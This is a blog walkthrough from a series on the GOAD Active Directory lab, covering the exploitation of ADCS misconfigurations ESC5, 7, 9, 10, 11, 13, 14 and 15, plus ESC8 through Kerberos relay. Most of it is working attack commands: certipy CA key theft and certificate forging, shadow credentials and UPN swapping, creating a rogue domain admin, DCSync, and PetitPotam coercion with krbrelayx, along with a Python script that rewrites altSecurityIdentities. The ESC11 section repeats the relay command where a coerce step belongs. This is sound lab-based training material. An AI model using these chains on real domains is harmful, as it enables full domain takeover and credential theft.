Post

GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15

GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15

In the previous blog post on ADCS (Goad Pwning Part 6), ESC1, ESC2, ESC3, ESC4, ESC6, and ESC8 were exploited.

  • This post examines additional ESC vulnerabilities within the domains.

Several modifications have been made to GOAD (excluding goad-light and goad-mini) to support various ADCS attack techniques. Updating an existing GOAD instance will incorporate these changes.

Some of these modifications were implemented based on ADCS Ludus Role (GPL-3.0 like goad), so thanks to the ludus team for their work.

1
2
3
4
5
goad> cd <instance_id>
goad (instance)> provision ad-data.yml
goad (instance)> provision ad-relations.yml
goad (instance)> provision adcs.yml
goad (instance)> provision vulnerabilities.yml

This post is more of a walkthrough to demonstrate how to exploit the vulnerability rather than a comprehensive guide on how the vulnerability occurs. If you’re interested in understanding the underlying mechanisms (and you should be), along with detailed explanations for each step, please refer to the links and resources provided at the end of this post.

ESC5 : “Golden certificate”

  • Imagine you are in a pentest and you have compromised a CA. One quick way to get DA is by creating a golden certificate.
  • To exploit this we will follow this blog post explaining well the exploitation and we will adapt it to goad : https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc5/

  • See the ADCS info :
    1
    
    nxc ldap 192.168.56.12 -d essos.local -u khal.drogo -p 'horse' -M adcs
    

    part14_adcs.png

  • The user ESSOS\khal.drogo:horse got an admin acces on the braavos server.
  • This user is admin of the CA
    1
    
    nxc smb 192.168.56.23 -d essos.local -u khal.drogo -p 'horse'
    

    part14_khal_admin_ca.png

  • Extract the CA certificate and private key with certipy
    1
    
    certipy ca -backup -u khal.drogo@essos.local -p horse -dc-ip 192.168.56.12 -ca 'ESSOS-CA' -target 192.168.56.23 -debug
    

    part14_extract_ca_key.png

  • Forge a certificate as domain admin
    1
    
    certipy forge -ca-pfx 'ESSOS-CA.pfx' -upn administrator@essos.local
    
  • A certificate as domain admin is obtained and can be follow by a Pass The Certificate.

with schannel

  • Pass the certificate and obtain an ldap shell with schannel
    1
    
    certipy auth -pfx administrator_forged.pfx -ldap-shell
    

part14_esc5_ldap_shell.png

  • At this point a way to exploit could be to create a user and add him to domain admin.
1
2
3
4
5
6
# add_user newdomainadmin
Attempting to create user in: %s CN=Users,DC=essos,DC=local
Adding new user with username: newdomainadmin and password: #:krR&,gk@%R3M* result: OK

# add_user_to_group newdomainadmin "Domain admins"
Adding user: newdomainadmin to group Domain Admins result: OK

part14_esc5_new_da.png

  • And the user is DA part14_esc5_new_da_ondc.png

with pkinit

  • Another way to use the pfx could be to authenticate directly with pkinit.
    1
    
    gettgtpkinit.py -cert-pfx administrator_forged.pfx -dc-ip 192.168.56.12 "essos.local/administrator" admin_tgt.cccache
    
  • but when running i get the following error : “Error Name: KDC_ERR_CLIENT_NOT_TRUSTED Detail: “The client trust failed or is not implemented”” x)

  • Oliver Lyak said this on certipy page:

    “it means that the forging was not correct. This usually happens because of a missing certificate revocation list (CRL) in the certificate”

  • Let’s try again with an existing certificate as parameter:
1
2
3
4
5
6
7
8
# ask for a certificate for our user
certipy req -u 'khal.drogo@essos.local' -p horse -ca 'ESSOS-CA' -template User -target 192.168.56.23

# then reforge with this template as parameter
certipy forge -ca-pfx 'ESSOS-CA.pfx' -upn administrator@essos.local -template khal.drogo.pfx

# verify pkinit connection (unpac the hash)
certipy auth -pfx administrator_forged.pfx -dc-ip 192.168.56.12

If you get the error “KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)” just reboot DC03: stop_vm GOAD-DC03 then start_vm GOAD-DC03

part14_esc5_pkinit.png

  • Authentication can also be done with gettgtpkinit
1
gettgtpkinit.py -cert-pfx administrator_forged.pfx -dc-ip 192.168.56.12 "essos.local/administrator" admin_tgt.cccache

part14_esc5_pkinit2.png

  • And launch a dcsync with our domain admin tgt
1
2
export KRB5CCNAME=/workspace/admin_tgt.cccache
secretsdump -k meereen.essos.local -dc-ip 192.168.56.12

part14_esc5_dcsync.png

Be sure to have 192.168.56.12 meereen.essos.local in your host file.

ESC5 : “Vulnerable PKI Object Access Control”

  • One way to exploit esc5 is by abusing the permission on the child to domain to escalate to the root domain.
  • If we look on the child domain NORTH, we can see that SYSTEM has Full Control on the Public Key Service Container of the main domain (sevenkingdoms).

part14_esc5.png

  • This exploitation is well described in the specter ops’blog post : https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c
  • The concept is to use the system account of the ca to modify the objects and add yourself permission on the parent domain.
  • This is an escalation from child to parent domain and it is left as an exercice to the reader :)

ESC7

  • viserys.targaryen@essos.local:GoldCrown got ESC7 privileges
1
certipy find -enabled -u viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12

part14_esc7.png

  • The user got manageCA privileges
  • To exploit ESC7, we will add to him “manage certificate” privilege, in order to do that certipy can be used with the option “add-officer” :
1
certipy ca -ca 'ESSOS-CA' -username viserys.targaryen@essos.local -p GoldCrown -add-officer viserys.targaryen -dc-ip 192.168.56.12 -target-ip 192.168.56.23
  • Now viserys has manageCertificate permission.
  • Exploit ESC7:
1
2
3
4
5
6
7
8
9
10
11
# enable SubCA template
certipy ca -ca 'ESSOS-CA' -enable-template 'SubCA' -username viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12 -target-ip 192.168.56.23

# request a certificate based on subCA template
certipy req -ca 'ESSOS-CA' -username viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12 -target-ip 192.168.56.23 -template SubCA -upn administrator@essos.local

# issue failed certificate request
certipy ca -ca 'ESSOS-CA' -issue-request 7 -username viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12 -target-ip 192.168.56.23

# retrieve the issued certificate
certipy req -ca 'ESSOS-CA' -username viserys.targaryen@essos.local -p GoldCrown -dc-ip 192.168.56.12 -target-ip 192.168.56.23 -retrieve 7

part14_esc7_exploit.png

  • And confirm the pfx is working with certipy
1
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

part14_esc7_confirm.png

ESC9

In order to exploit this one we need :

  • a generic write other an account.
  • Also msPKI-Enrollement-Flag must content 0x00080000 value (524288 in decimal) equivaleant to the value CT_FLAG_NO_SECURITY_EXTENSION.
  • And we also need StrongCertificateBindingEnforcement set to 1 (default) or 0
  • Or CertificateMappingMethods set to 0x04 - UPN

part14_esc9_attribute.png

  • Certipy show this flag too or it can be retrieve manually with ldapsearch
1
ldapsearch -H ldap://192.168.56.12 -D "missandei@essos.local" -w fr3edom -b 'CN=ESC9,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local' "*"
  • Add shadow credentials from missandei to viserys to get viserys’NThash.
1
certipy shadow auto -username "missandei@essos.local" -p "fr3edom" -account viserys.targaryen -dc-ip 192.168.56.12

part14_esc9_shadowcreds.png

  • Change the UPN (user principal name on the account)
1
certipy account update -username "missandei@essos.local" -p "fr3edom" -user viserys.targaryen -upn administrator -dc-ip 192.168.56.12

part14_esc9_changeUPN.png

  • Request certificate for the user viserys with viserys hash (obtained from the shadow credentials and unpac the hash)
1
certipy req -username "viserys.targaryen@essos.local" -hashes "d96a55df6bef5e0b4d6d956088036097" -target "braavos.essos.local" -ca 'ESSOS-CA' -template 'user' -debug

part14_esc9_request_cert.png

  • Rollback upn modification
1
certipy account update -username "missandei@essos.local" -p "fr3edom" -user viserys.targaryen -upn viserys.targaryen -dc-ip 192.168.56.12
  • Enjoy your admin certificate !
1
certipy auth -pfx 'administrator.pfx' -domain "essos.local" -dc-ip 192.168.56.12

part14_esc9_finish.png

The key value StrongCertificateBindingEnforcement can’t be viewed has a simple user, but as DA you could see it if present with :

  • reg.py "essos.local"/"daenerys.targaryen":'BurnThemAll!'@"192.168.56.12" query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc' Same for the certificate mapping method: “CertificateMappingMethods”
  • reg.py "essos.local"/"daenerys.targaryen":'BurnThemAll!'@"192.168.56.12" query -keyName 'HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel'

ESC10

  • Basically the attack is the same as ESC9, change the UPN of a user, ask for cert and change it back.

ESC10 is setup on dc01 on the GOAD lab (domain sevenkingdoms)

  • in GOAD/data/config.json the folowing line was modified:
  • "vulns" : ["disable_firewall", "adcs_esc10_case1", "adcs_esc10_case2"],

ESC10 - case 1 - StrongCertificateBindingEnforcement 0

  • Exploitation with jaime->joffrey generic write to go to administrator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# get joffrey hash with shadowcredentials
certipy shadow auto -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -account joffrey.baratheon -dc-ip 192.168.56.10

# change jeoffrey UPN
certipy account update -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -user joffrey.baratheon -upn administrator -dc-ip 192.168.56.10

# ask for certificate
certipy req -username "joffrey.baratheon@sevenkingdoms.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "192.168.56.10" -ca 'SEVENKINGDOMS-CA' -template 'user' -debug

# Rollback upn modification
certipy account update -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -user joffrey.baratheon -upn joffrey.baratheon -dc-ip 192.168.56.10

# Connect with the certificate
certipy auth -pfx 'administrator.pfx' -domain "sevenkingdoms.local" -dc-ip 192.168.56.10

part14_esc10_case1.png

ESC10 - case 2 - CertificateMappingMethods 0x04

Same as before but we will change the UPN to ‘kingslanding$@sevenkingdoms.local’ instead of administrator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# get joffrey hash with shadowcredentials
certipy shadow auto -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -account joffrey.baratheon -dc-ip 192.168.56.10

# change jeoffrey UPN to kingslanding$
certipy account update -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -user joffrey.baratheon -upn 'kingslanding$@sevenkingdoms.local' -dc-ip 192.168.56.10

# ask for certificate
certipy req -username "joffrey.baratheon@sevenkingdoms.local" -hashes "3b60abbc25770511334b3829866b08f1" -target "192.168.56.10" -ca 'SEVENKINGDOMS-CA' -template 'user' -debug

# Rollback upn modification
certipy account update -username "jaime.lannister@sevenkingdoms.local" -p "cersei" -user joffrey.baratheon -upn joffrey.baratheon -dc-ip 192.168.56.10

# Connect via schannel with the certificate 
certipy auth -pfx 'kingslanding.pfx' -domain "sevenkingdoms.local" -dc-ip 192.168.56.10 -ldap-shell

part14_esc10_case2.png

  • And with the shell we can do RBCD to pwn the domain controler

ESC11

certipy find show on ESSOS-CA the following issue :

ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue

  • The attack is almost the same has ESC8 but on rpc instead of http.
  • First prepare the relay:
1
certipy relay -target rpc://braavos.essos.local -ca 'ESSOS-CA' -template DomainController
  • Then run a coerce on the dc
1
certipy relay -target rpc://braavos.essos.local -ca 'ESSOS-CA' -template DomainController

part14_esc11_ok.png

  • And authenticate with the dc certificate.
1
certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12

part14_esc11_finish.png

certipy-merged

ESC12

This one involve YubiHSM and is not implemented in GOAD.

ESC13

I will not loose myself in explaining ESC13, if you want to dig it please read : https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53

  • Also shootout to ludus teams for the adcs module https://github.com/badsectorlabs/ludus_adcs which was super helpfull to integrate esc13 on goad.

  • For our example, we got a universal group “greatmaster” which is also admin on the domain controler DC03 in the lab

  • If we look with certipy-merged find command we got an ESC13 detection. (don’t worry about the policy applied multiple times, it is due to my test for adding the vuln into goad ^^)

part14_esc13_certipy.png

  • Exploit it by first request the certificate
1
certipy req -target braavos.essos.local -u missandei@essos.local -p fr3edom -dc-ip 192.168.56.12 -template ESC13 -ca ESSOS-CA -debug

part14_esc13_request_cert.png

  • And next authent with the certificate
1
certipy auth -pfx missandei.pfx -dc-ip 192.168.56.12

part14_esc13_auth_cert.png

  • To finish verify if the new right due to the greatmaster group is apply to our user tgt. To do that, access the c$ of the domain controler.

part14_esc13_exploitok.png

ESC14 A - Write access on altSecurityIdentities

In goad missandei got a generic all on khal.drogo.

1
addcomputer.py -method ldaps -computer-name 'esc14computer$' -computer-pass 'Il0veCertific@te' -dc-ip 192.168.56.12 essos/missandei:fr3edom@192.168.56.12

part14_esc14_addcomputer.png

  • Then we ask for the certificate of our created computer
1
certipy req -target braavos.essos.local -u 'esc14computer$@essos.local' -p 'Il0veCertific@te' -dc-ip 192.168.56.12 -template Machine -ca ESSOS-CA -debug

part14_esc14_reqcomputer.png

  • Let’s review the certificate attributes
1
2
3
4
# extract the crt
certipy cert -pfx esc14computer.pfx  -nokey -out "esc14computer.crt"
# show informations
openssl x509 -in esc14computer.crt -noout -text

part14_esc14_certinfos.png

  • With our genericWrite permission we can change the attribute altSecurityIdentities of khal.drogo
1
2
3
4
5
ldeep ldap -u missandei -d essos.local -p fr3edom -s ldap://192.168.56.12 search '(samaccountname=khal.drogo)' altSecurityIdentities
[{
  "altSecurityIdentities": [],
  "dn": "CN=khal.drogo,CN=Users,DC=essos,DC=local"
}]
  • Calculate the new attribute (with the help of this script converted to python)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import argparse

def get_x509_issuer_serial_number_format(serial_number: str, issuer_distinguished_name: str) -> str:
    """
    Formats the X509IssuerSerialNumber for the altSecurityIdentities attribute.
    :param serial_number: Serial number in the format "43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11"
    :param issuer_distinguished_name: Issuer distinguished name, e.g., "CN=CONTOSO-DC-CA,DC=contoso,DC=com"
    :return: Formatted X509IssuerSerialNumber
    """
    serial_bytes = serial_number.split(":")
    reversed_serial_number = "".join(reversed(serial_bytes))
    issuer_components = issuer_distinguished_name.split(",")
    reversed_issuer_components = ",".join(reversed(issuer_components))
    return f"X509:<I>{reversed_issuer_components}<SR>{reversed_serial_number}"

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Format X509 Issuer Serial Number")
    parser.add_argument("-serial", required=True, help="Serial number in format 43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11")
    parser.add_argument("-issuer", required=True, help="Issuer Distinguished Name e.g., CN=CONTOSO-DC-CA,DC=contoso,DC=com")

    args = parser.parse_args()
    formatted_value = get_x509_issuer_serial_number_format(args.serial, args.issuer)
    print(formatted_value)
  • Ask the value to pass to the ldap user attribute
1
2
python3 x509_issuer_serial_number_format.py -serial "43:00:00:00:11:92:78:b0:92:e5:16:88:a6:00:00:00:00:00:11" -issuer "CN=ESSOS-CA,DC=essos,DC=local"
X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043
  • And write a script to change the ldap attribute value
1
2
3
4
5
6
7
8
9
10
import ldap3
dn = "CN=khal.drogo,CN=Users,DC=essos,DC=local"
user = "essos.local\\missandei"
password = "fr3edom"
server = ldap3.Server('meereen.essos.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'altSecurityIdentities' : [(ldap3.MODIFY_REPLACE, 'X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043')]})
print(ldap_con.result)
ldap_con.unbind()
  • We can check the value is well changed and use our certificate to authenticate to pkinit
1
2
3
4
5
6
7
8
9
10
11
# check attribute
ldeep ldap -u missandei -d essos.local -p fr3edom -s ldap://192.168.56.12 search '(samaccountname=khal.drogo)' altSecurityIdentities
[{
  "altSecurityIdentities": [
    "X509:<I>DC=local,DC=essos,CN=ESSOS-CA<SR>110000000000a68816e592b078921100000043"
  ],
  "dn": "CN=khal.drogo,CN=Users,DC=essos,DC=local"
}]

# authentication using our certificate on khal.drogo user !
gettgtpkinit.py -cert-pfx esc14computer.pfx -dc-ip 192.168.56.12 "essos.local/khal.drogo" khal_tgt.cccache

part14_esc14_finish.png

ESC15 (CVE-2024-49019)

Essos webserver template is vulnerable to ESC15 in GOAD.

part14_esc15.png

  • Exploitation
1
2
3
4
5
6
7
8
# Request certificate with "certificate request agent" application policy
certipy req -u missandei@essos.local -p fr3edom --application-policies "1.3.6.1.4.1.311.20.2.1" -ca ESSOS-CA -template WebServer -dc-ip 192.168.56.12 -target braavos.essos.local

# use this certif to ask a certificate onbehalf of an administrator
certipy req -u missandei@essos.local -on-behalf-of essos\\administrator -template User -ca ESSOS-CA -pfx missandei.pfx -dc-ip 192.168.56.12 -target braavos.essos.local

# Authenticate as administrator
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

part14_esc15_exploit.png

Bonus - ESC8 on kingslanding with kerberos relay

  • In sevenkingdoms.local only one DC is available in the domain and the adcs service is also running on this DC.
  • So in order to exploit this machine, we will have to coerce the machine to itself.
  • This can be done with kerberos relay !
1
2
3
4
5
6
7
8
# Add dns entry with the james forshaw's trick
dnstool.py -u "sevenkingdoms.local\jaime.lannister" -p "cersei" -r "kingslanding1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" -d "192.168.56.1" --action add "192.168.56.10" --tcp

# Coerce kerberos with petit potam on dns entry
petitpotam.py -u 'jaime.lannister' -p 'cersei' -d sevenkingdoms.local 'kingslanding1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' kingslanding.sevenkingdoms.local

# relay kerberos
python3 krbrelayx.py -t 'http://kingslanding.sevenkingdoms.local/certsrv/certfnsh.asp' --adcs --template DomainController -v 'KINGSLANDING$' -ip 192.168.56.1

part14_esc8_kerberos.png

and finish it

1
certipy auth -pfx 'KINGSLANDING$.pfx' -domain "sevenkingdoms.local" -dc-ip 192.168.56.10

part14_esc8_kerberos_auth.png

  • If we do the same with ntlm relay instead of kerberos relay we get a 401 unauthorized. part14_esc8_ntlm_self_wireshark.png

Ressources

This post is licensed under CC BY 4.0 by the author.